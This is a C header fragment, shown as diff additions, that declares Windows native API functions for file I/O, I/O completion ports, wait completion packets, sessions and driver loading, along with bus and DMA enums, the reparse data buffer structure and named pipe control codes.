+NTSYSAPI +NTSTATUS +NTAPI +ZwCancelIoFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock +); + +#if (NTDDI_VERSION >= NTDDI_VISTA) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCancelIoFileEx( + _In_ HANDLE FileHandle, + _In_opt_ PIO_STATUS_BLOCK IoRequestToCancel, + _Out_ PIO_STATUS_BLOCK IoStatusBlock +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCancelIoFileEx( + _In_ HANDLE FileHandle, + _In_opt_ PIO_STATUS_BLOCK IoRequestToCancel, + _Out_ PIO_STATUS_BLOCK IoStatusBlock +); +#endif + +#if (NTDDI_VERSION >= NTDDI_VISTA) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCancelSynchronousIoFile( + _In_ HANDLE ThreadHandle, + _In_opt_ PIO_STATUS_BLOCK IoRequestToCancel, + _Out_ PIO_STATUS_BLOCK IoStatusBlock +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCancelSynchronousIoFile( + _In_ HANDLE ThreadHandle, + _In_opt_ PIO_STATUS_BLOCK IoRequestToCancel, + _Out_ PIO_STATUS_BLOCK IoStatusBlock +); +#endif + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtDeviceIoControlFile( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG IoControlCode, + _In_reads_bytes_opt_(InputBufferLength) PVOID InputBuffer, + _In_ ULONG InputBufferLength, + _Out_writes_bytes_opt_(OutputBufferLength) PVOID OutputBuffer, + _In_ ULONG OutputBufferLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwDeviceIoControlFile( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG IoControlCode, + _In_reads_bytes_opt_(InputBufferLength) PVOID InputBuffer, + _In_ ULONG InputBufferLength, + _Out_writes_bytes_opt_(OutputBufferLength) PVOID OutputBuffer, + _In_ ULONG OutputBufferLength +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtFsControlFile( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG FsControlCode, + _In_reads_bytes_opt_(InputBufferLength) PVOID InputBuffer, + _In_ ULONG InputBufferLength, + _Out_writes_bytes_opt_(OutputBufferLength) PVOID OutputBuffer, + _In_ ULONG OutputBufferLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwFsControlFile( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG FsControlCode, + _In_reads_bytes_opt_(InputBufferLength) PVOID InputBuffer, + _In_ ULONG InputBufferLength, + _Out_writes_bytes_opt_(OutputBufferLength) PVOID OutputBuffer, + _In_ ULONG OutputBufferLength +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtReadFile( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_writes_bytes_(Length) PVOID Buffer, + _In_ ULONG Length, + _In_opt_ PLARGE_INTEGER ByteOffset, + _In_opt_ PULONG Key +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwReadFile( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_writes_bytes_(Length) PVOID Buffer, + _In_ ULONG Length, + _In_opt_ PLARGE_INTEGER ByteOffset, + _In_opt_ PULONG Key +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtWriteFile( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_reads_bytes_(Length) PVOID Buffer, + _In_ ULONG Length, + _In_opt_ PLARGE_INTEGER ByteOffset, + _In_opt_ PULONG Key +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwWriteFile( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_reads_bytes_(Length) PVOID Buffer, + _In_ ULONG Length, + _In_opt_ PLARGE_INTEGER ByteOffset, + _In_opt_ PULONG Key +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtReadFileScatter( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ PFILE_SEGMENT_ELEMENT SegmentArray, + _In_ ULONG Length, + _In_opt_ PLARGE_INTEGER ByteOffset, + _In_opt_ PULONG Key +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwReadFileScatter( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ PFILE_SEGMENT_ELEMENT SegmentArray, + _In_ ULONG Length, + _In_opt_ PLARGE_INTEGER ByteOffset, + _In_opt_ PULONG Key +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtWriteFileGather( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ PFILE_SEGMENT_ELEMENT SegmentArray, + _In_ ULONG Length, + _In_opt_ PLARGE_INTEGER ByteOffset, + _In_opt_ PULONG Key +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwWriteFileGather( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ PFILE_SEGMENT_ELEMENT SegmentArray, + _In_ ULONG Length, + _In_opt_ PLARGE_INTEGER ByteOffset, + _In_opt_ PULONG Key +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtLockFile( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ PLARGE_INTEGER ByteOffset, + _In_ PLARGE_INTEGER Length, + _In_ ULONG Key, + _In_ BOOLEAN FailImmediately, + _In_ BOOLEAN ExclusiveLock +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwLockFile( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ PLARGE_INTEGER ByteOffset, + _In_ PLARGE_INTEGER Length, + _In_ ULONG Key, + _In_ BOOLEAN FailImmediately, + _In_ BOOLEAN ExclusiveLock +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtUnlockFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ PLARGE_INTEGER ByteOffset, + _In_ PLARGE_INTEGER Length, + _In_ ULONG Key +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwUnlockFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ PLARGE_INTEGER ByteOffset, + _In_ PLARGE_INTEGER Length, + _In_ ULONG Key +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryAttributesFile( + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Out_ PFILE_BASIC_INFORMATION FileInformation +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryAttributesFile( + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Out_ PFILE_BASIC_INFORMATION FileInformation +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryFullAttributesFile( + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Out_ PFILE_NETWORK_OPEN_INFORMATION FileInformation +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryFullAttributesFile( + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Out_ PFILE_NETWORK_OPEN_INFORMATION FileInformation +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtNotifyChangeDirectoryFile( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_writes_bytes_(Length) PVOID Buffer, // FILE_NOTIFY_INFORMATION + _In_ ULONG Length, + _In_ ULONG CompletionFilter, + _In_ BOOLEAN WatchTree +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwNotifyChangeDirectoryFile( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_writes_bytes_(Length) PVOID Buffer, // FILE_NOTIFY_INFORMATION + _In_ ULONG Length, + _In_ ULONG CompletionFilter, + _In_ BOOLEAN WatchTree +); + +#ifndef _KERNEL_MODE +// private +typedef enum _DIRECTORY_NOTIFY_INFORMATION_CLASS +{ + DirectoryNotifyInformation = 1, // FILE_NOTIFY_INFORMATION + DirectoryNotifyExtendedInformation = 2 // FILE_NOTIFY_EXTENDED_INFORMATION +} DIRECTORY_NOTIFY_INFORMATION_CLASS, * PDIRECTORY_NOTIFY_INFORMATION_CLASS; +#endif // !_KERNEL_MODE + +#if (NTDDI_VERSION >= NTDDI_WIN10_RS3) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtNotifyChangeDirectoryFileEx( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_writes_bytes_(Length) PVOID Buffer, + _In_ ULONG Length, + _In_ ULONG CompletionFilter, + _In_ BOOLEAN WatchTree, + _In_opt_ DIRECTORY_NOTIFY_INFORMATION_CLASS DirectoryNotifyInformationClass +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwNotifyChangeDirectoryFileEx( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_writes_bytes_(Length) PVOID Buffer, + _In_ ULONG Length, + _In_ ULONG CompletionFilter, + _In_ BOOLEAN WatchTree, + _In_opt_ DIRECTORY_NOTIFY_INFORMATION_CLASS DirectoryNotifyInformationClass +); +#endif // NTDDI_VERSION >= NTDDI_WIN10_RS3 + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtLoadDriver( + _In_ PUNICODE_STRING DriverServiceName +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwLoadDriver( + _In_ PUNICODE_STRING DriverServiceName +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtUnloadDriver( + _In_ PUNICODE_STRING DriverServiceName +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwUnloadDriver( + _In_ PUNICODE_STRING DriverServiceName +); + +// +// I/O completion port +// + +#ifndef IO_COMPLETION_QUERY_STATE +#define IO_COMPLETION_QUERY_STATE 0x0001 +#endif + +#ifndef IO_COMPLETION_MODIFY_STATE +#define IO_COMPLETION_MODIFY_STATE 0x0002 +#endif + +#ifndef IO_COMPLETION_ALL_ACCESS +#define IO_COMPLETION_ALL_ACCESS (IO_COMPLETION_QUERY_STATE|IO_COMPLETION_MODIFY_STATE|STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE) +#endif + +typedef enum _IO_COMPLETION_INFORMATION_CLASS +{ + IoCompletionBasicInformation +} IO_COMPLETION_INFORMATION_CLASS; + +typedef struct _IO_COMPLETION_BASIC_INFORMATION +{ + LONG Depth; +} IO_COMPLETION_BASIC_INFORMATION, * PIO_COMPLETION_BASIC_INFORMATION; + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateIoCompletion( + _Out_ PHANDLE IoCompletionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ ULONG Count +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCreateIoCompletion( + _Out_ PHANDLE IoCompletionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ ULONG Count +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenIoCompletion( + _Out_ PHANDLE IoCompletionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwOpenIoCompletion( + _Out_ PHANDLE IoCompletionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryIoCompletion( + _In_ HANDLE IoCompletionHandle, + _In_ IO_COMPLETION_INFORMATION_CLASS IoCompletionInformationClass, + _Out_writes_bytes_(IoCompletionInformationLength) PVOID IoCompletionInformation, + _In_ ULONG IoCompletionInformationLength, + _Out_opt_ PULONG ReturnLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryIoCompletion( + _In_ HANDLE IoCompletionHandle, + _In_ IO_COMPLETION_INFORMATION_CLASS IoCompletionInformationClass, + _Out_writes_bytes_(IoCompletionInformationLength) PVOID IoCompletionInformation, + _In_ ULONG IoCompletionInformationLength, + _Out_opt_ PULONG ReturnLength +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetIoCompletion( + _In_ HANDLE IoCompletionHandle, + _In_opt_ PVOID KeyContext, + _In_opt_ PVOID ApcContext, + _In_ NTSTATUS IoStatus, + _In_ ULONG_PTR IoStatusInformation +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSetIoCompletion( + _In_ HANDLE IoCompletionHandle, + _In_opt_ PVOID KeyContext, + _In_opt_ PVOID ApcContext, + _In_ NTSTATUS IoStatus, + _In_ ULONG_PTR IoStatusInformation +); + +#if (NTDDI_VERSION >= NTDDI_WIN7) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetIoCompletionEx( + _In_ HANDLE IoCompletionHandle, + _In_ HANDLE IoCompletionPacketHandle, + _In_opt_ PVOID KeyContext, + _In_opt_ PVOID ApcContext, + _In_ NTSTATUS IoStatus, + _In_ ULONG_PTR IoStatusInformation +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSetIoCompletionEx( + _In_ HANDLE IoCompletionHandle, + _In_ HANDLE IoCompletionPacketHandle, + _In_opt_ PVOID KeyContext, + _In_opt_ PVOID ApcContext, + _In_ NTSTATUS IoStatus, + _In_ ULONG_PTR IoStatusInformation +); +#endif + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtRemoveIoCompletion( + _In_ HANDLE IoCompletionHandle, + _Out_ PVOID* KeyContext, + _Out_ PVOID* ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_opt_ PLARGE_INTEGER Timeout +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwRemoveIoCompletion( + _In_ HANDLE IoCompletionHandle, + _Out_ PVOID* KeyContext, + _Out_ PVOID* ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_opt_ PLARGE_INTEGER Timeout +); + +#if (NTDDI_VERSION >= NTDDI_VISTA) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtRemoveIoCompletionEx( + _In_ HANDLE IoCompletionHandle, + _Out_writes_to_(Count, *NumEntriesRemoved) PFILE_IO_COMPLETION_INFORMATION IoCompletionInformation, + _In_ ULONG Count, + _Out_ PULONG NumEntriesRemoved, + _In_opt_ PLARGE_INTEGER Timeout, + _In_ BOOLEAN Alertable +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwRemoveIoCompletionEx( + _In_ HANDLE IoCompletionHandle, + _Out_writes_to_(Count, *NumEntriesRemoved) PFILE_IO_COMPLETION_INFORMATION IoCompletionInformation, + _In_ ULONG Count, + _Out_ PULONG NumEntriesRemoved, + _In_opt_ PLARGE_INTEGER Timeout, + _In_ BOOLEAN Alertable +); +#endif + +// +// Wait completion packet +// + +#if (NTDDI_VERSION >= NTDDI_WIN8) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateWaitCompletionPacket( + _Out_ PHANDLE WaitCompletionPacketHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCreateWaitCompletionPacket( + _Out_ PHANDLE WaitCompletionPacketHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAssociateWaitCompletionPacket( + _In_ HANDLE WaitCompletionPacketHandle, + _In_ HANDLE IoCompletionHandle, + _In_ HANDLE TargetObjectHandle, + _In_opt_ PVOID KeyContext, + _In_opt_ PVOID ApcContext, + _In_ NTSTATUS IoStatus, + _In_ ULONG_PTR IoStatusInformation, + _Out_opt_ PBOOLEAN AlreadySignaled +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAssociateWaitCompletionPacket( + _In_ HANDLE WaitCompletionPacketHandle, + _In_ HANDLE IoCompletionHandle, + _In_ HANDLE TargetObjectHandle, + _In_opt_ PVOID KeyContext, + _In_opt_ PVOID ApcContext, + _In_ NTSTATUS IoStatus, + _In_ ULONG_PTR IoStatusInformation, + _Out_opt_ PBOOLEAN AlreadySignaled +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCancelWaitCompletionPacket( + _In_ HANDLE WaitCompletionPacketHandle, + _In_ BOOLEAN RemoveSignaledPacket +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCancelWaitCompletionPacket( + _In_ HANDLE WaitCompletionPacketHandle, + _In_ BOOLEAN RemoveSignaledPacket +); +#endif + +// +// Sessions +// + +#ifndef _KERNEL_MODE +typedef enum _IO_SESSION_EVENT +{ + IoSessionEventIgnore, + IoSessionEventCreated, + IoSessionEventTerminated, + IoSessionEventConnected, + IoSessionEventDisconnected, + IoSessionEventLogon, + IoSessionEventLogoff, + IoSessionEventMax +} IO_SESSION_EVENT; + +typedef enum _IO_SESSION_STATE +{ + IoSessionStateCreated = 1, + IoSessionStateInitialized = 2, + IoSessionStateConnected = 3, + IoSessionStateDisconnected = 4, + IoSessionStateDisconnectedLoggedOn = 5, + IoSessionStateLoggedOn = 6, + IoSessionStateLoggedOff = 7, + IoSessionStateTerminated = 8, + IoSessionStateMax +} IO_SESSION_STATE; +#endif // !_KERNEL_MODE + +#if (NTDDI_VERSION >= NTDDI_VISTA) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenSession( + _Out_ PHANDLE SessionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwOpenSession( + _Out_ PHANDLE SessionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes +); +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN7) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtNotifyChangeSession( + _In_ HANDLE SessionHandle, + _In_ ULONG ChangeSequenceNumber, + _In_ PLARGE_INTEGER ChangeTimeStamp, + _In_ IO_SESSION_EVENT Event, + _In_ IO_SESSION_STATE NewState, + _In_ IO_SESSION_STATE PreviousState, + _In_reads_bytes_opt_(PayloadSize) PVOID Payload, + _In_ ULONG PayloadSize +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwNotifyChangeSession( + _In_ HANDLE SessionHandle, + _In_ ULONG ChangeSequenceNumber, + _In_ PLARGE_INTEGER ChangeTimeStamp, + _In_ IO_SESSION_EVENT Event, + _In_ IO_SESSION_STATE NewState, + _In_ IO_SESSION_STATE PreviousState, + _In_reads_bytes_opt_(PayloadSize) PVOID Payload, + _In_ ULONG PayloadSize +); +#endif + +// +// Other types +// + +#ifndef _KERNEL_MODE +// +// Define the I/O bus interface types. +// +typedef enum _INTERFACE_TYPE +{ + InterfaceTypeUndefined = -1, + Internal = 0, + Isa = 1, + Eisa = 2, + MicroChannel = 3, + TurboChannel = 4, + PCIBus = 5, + VMEBus = 6, + NuBus = 7, + PCMCIABus = 8, + CBus = 9, + MPIBus = 10, + MPSABus = 11, + ProcessorInternal = 12, + InternalPowerBus = 13, + PNPISABus = 14, + PNPBus = 15, + Vmcs = 16, + ACPIBus = 17, + MaximumInterfaceType +} INTERFACE_TYPE, * PINTERFACE_TYPE; + +// +// Define the DMA transfer widths. +// + +typedef enum _DMA_WIDTH +{ + Width8Bits, + Width16Bits, + Width32Bits, + Width64Bits, + WidthNoWrap, + MaximumDmaWidth +} DMA_WIDTH, * PDMA_WIDTH; + +// +// Define DMA transfer speeds. +// + +typedef enum _DMA_SPEED +{ + Compatible, + TypeA, + TypeB, + TypeC, + TypeF, + MaximumDmaSpeed +} DMA_SPEED, * PDMA_SPEED; + +typedef enum _BUS_DATA_TYPE +{ + ConfigurationSpaceUndefined = -1, + Cmos, + EisaConfiguration, + Pos, + CbusConfiguration, + PCIConfiguration, + VMEConfiguration, + NuBusConfiguration, + PCMCIAConfiguration, + MPIConfiguration, + MPSAConfiguration, + PNPISAConfiguration, + SgiInternalConfiguration, + MaximumBusDataType +} BUS_DATA_TYPE, * PBUS_DATA_TYPE; +#endif // !_KERNEL_MODE + +// +// Control structures +// + +#ifndef _KERNEL_MODE +// Reparse structure for FSCTL_SET_REPARSE_POINT, FSCTL_GET_REPARSE_POINT, FSCTL_DELETE_REPARSE_POINT + +#define SYMLINK_FLAG_RELATIVE 0x00000001 + +#if (NTDDI_VERSION >= NTDDI_WIN10_RS4) +#define SYMLINK_DIRECTORY 0x80000000 // If set then this is a directory symlink +#define SYMLINK_FILE 0x40000000 // If set then this is a file symlink +#endif + +typedef struct _REPARSE_DATA_BUFFER +{ + ULONG ReparseTag; + USHORT ReparseDataLength; + USHORT Reserved; + + _Field_size_bytes_(ReparseDataLength) + union + { + struct + { + USHORT SubstituteNameOffset; + USHORT SubstituteNameLength; + USHORT PrintNameOffset; + USHORT PrintNameLength; + ULONG Flags; + WCHAR PathBuffer[1]; + } SymbolicLinkReparseBuffer; + struct + { + USHORT SubstituteNameOffset; + USHORT SubstituteNameLength; + USHORT PrintNameOffset; + USHORT PrintNameLength; + WCHAR PathBuffer[1]; + } MountPointReparseBuffer; + struct + { + UCHAR DataBuffer[1]; + } GenericReparseBuffer; + }; +} REPARSE_DATA_BUFFER, * PREPARSE_DATA_BUFFER; + +#define REPARSE_DATA_BUFFER_HEADER_SIZE UFIELD_OFFSET(REPARSE_DATA_BUFFER, GenericReparseBuffer) + +#endif // !_KERNEL_MODE + +// Named pipe FS control definitions + +#define DEVICE_NAMED_PIPE L"\\Device\\NamedPipe\\" + +#ifndef _KERNEL_MODE +#define FSCTL_PIPE_ASSIGN_EVENT CTL_CODE(FILE_DEVICE_NAMED_PIPE, 0, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_PIPE_DISCONNECT CTL_CODE(FILE_DEVICE_NAMED_PIPE, 1, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_PIPE_LISTEN CTL_CODE(FILE_DEVICE_NAMED_PIPE, 2, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_PIPE_PEEK CTL_CODE(FILE_DEVICE_NAMED_PIPE, 3, METHOD_BUFFERED, FILE_READ_DATA) +#define FSCTL_PIPE_QUERY_EVENT CTL_CODE(FILE_DEVICE_NAMED_PIPE, 4, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_PIPE_TRANSCEIVE CTL_CODE(FILE_DEVICE_NAMED_PIPE, 5, METHOD_NEITHER, FILE_READ_DATA | FILE_WRITE_DATA) +#define FSCTL_PIPE_WAIT CTL_CODE(FILE_DEVICE_NAMED_PIPE, 6, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_PIPE_IMPERSONATE CTL_CODE(FILE_DEVICE_NAMED_PIPE, 7, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_PIPE_SET_CLIENT_PROCESS CTL_CODE(FILE_DEVICE_NAMED_PIPE, 8, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_PIPE_QUERY_CLIENT_PROCESS CTL_CODE(FILE_DEVICE_NAMED_PIPE, 9, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_PIPE_GET_PIPE_ATTRIBUTE CTL_CODE(FILE_DEVICE_NAMED_PIPE, 10, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_PIPE_SET_PIPE_ATTRIBUTE CTL_CODE(FILE_DEVICE_NAMED_PIPE, 11, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_PIPE_GET_CONNECTION_ATTRIBUTE CTL_CODE(FILE_DEVICE_NAMED_PIPE, 12, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_PIPE_SET_CONNECTION_ATTRIBUTE CTL_CODE(FILE_DEVICE_NAMED_PIPE, 13, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_PIPE_GET_HANDLE_ATTRIBUTE CTL_CODE(FILE_DEVICE_NAMED_PIPE, 14, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_PIPE_SET_HANDLE_ATTRIBUTE CTL_CODE(FILE_DEVICE_NAMED_PIPE, 15, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_PIPE_FLUSH CTL_CODE(FILE_DEVICE_NAMED_PIPE, 16, METHOD_BUFFERED, FILE_WRITE_DATA) +#define FSCTL_PIPE_DISABLE_IMPERSONATE CTL_CODE(FILE_DEVICE_NAMED_PIPE, 17, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_PIPE_SILO_ARRIVAL CTL_CODE(FILE_DEVICE_NAMED_PIPE, 18, METHOD_BUFFERED, FILE_WRITE_DATA) +#define FSCTL_PIPE_CREATE_SYMLINK CTL_CODE(FILE_DEVICE_NAMED_PIPE, 19, METHOD_BUFFERED, FILE_SPECIAL_ACCESS) +#define FSCTL_PIPE_DELETE_SYMLINK CTL_CODE(FILE_DEVICE_NAMED_PIPE, 20, METHOD_BUFFERED, FILE_SPECIAL_ACCESS) +#define FSCTL_PIPE_QUERY_CLIENT_PROCESS_V2 CTL_CODE(FILE_DEVICE_NAMED_PIPE, 21, METHOD_BUFFERED, FILE_ANY_ACCESS) + 